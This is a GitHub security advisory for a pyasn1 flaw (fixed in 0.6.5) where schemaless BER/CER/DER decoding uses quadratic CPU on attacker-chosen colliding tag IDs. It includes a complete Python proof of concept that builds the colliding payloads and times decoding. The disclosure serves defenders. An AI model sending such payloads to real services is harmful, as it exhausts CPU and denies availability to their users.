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pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

High severity GitHub Reviewed Published Oct 27, 2026 in pyasn1/pyasn1 • Updated Oct 30, 2026

Package

pip pyasn1 (pip)

Affected versions

>= 0.3.3, < 0.6.5

Patched versions

0.6.5

Description

Summary

When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

Details

ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

Proof of concept

Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

import sys
import time

from pyasn1.codec.ber import decoder
from pyasn1.type import univ


def enc_tag(tag_id):
    groups = [tag_id & 0x7f]
    tag_id >>= 7
    while tag_id:
        groups.append((tag_id & 0x7f) | 0x80)
        tag_id >>= 7
    return b'\xbf' + bytes(reversed(groups))


def payload(tag_ids):
    body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                    for tag_id in tag_ids)
    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
    return b'\x30' + bytes([0x80 | len(length)]) + length + body


for count in (3200, 6400):
    cases = (
        ("collision", [32 + i * sys.hash_info.modulus
                       for i in range(count)]),
        ("control", [(1 << 70) + i for i in range(count)]),
    )
    for name, tag_ids in cases:
        wire = payload(tag_ids)
        start = time.process_time()
        value, remainder = decoder.decode(wire)
        cpu_seconds = time.process_time() - start

        assert type(value) is univ.Sequence
        assert len(value) == count and remainder == b''
        for position, tag_id in enumerate(tag_ids):
            component = value.getComponentByPosition(position)
            assert component.asOctets() == b'A'
            assert component.tagSet[-1].tagId == tag_id

        print(count, name, len(wire), round(cpu_seconds, 3))

Impact

Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

References

@droideck droideck published to pyasn1/pyasn1 Oct 27, 2026
Published by the National Vulnerability Database Oct 29, 2026
Published to the GitHub Advisory Database Oct 30, 2026
Reviewed Oct 30, 2026
Last updated Oct 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(37th percentile)

Weaknesses

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2026-119194

GHSA ID

GHSA-fm9c-5rcf-2q5p

Source code

Credits

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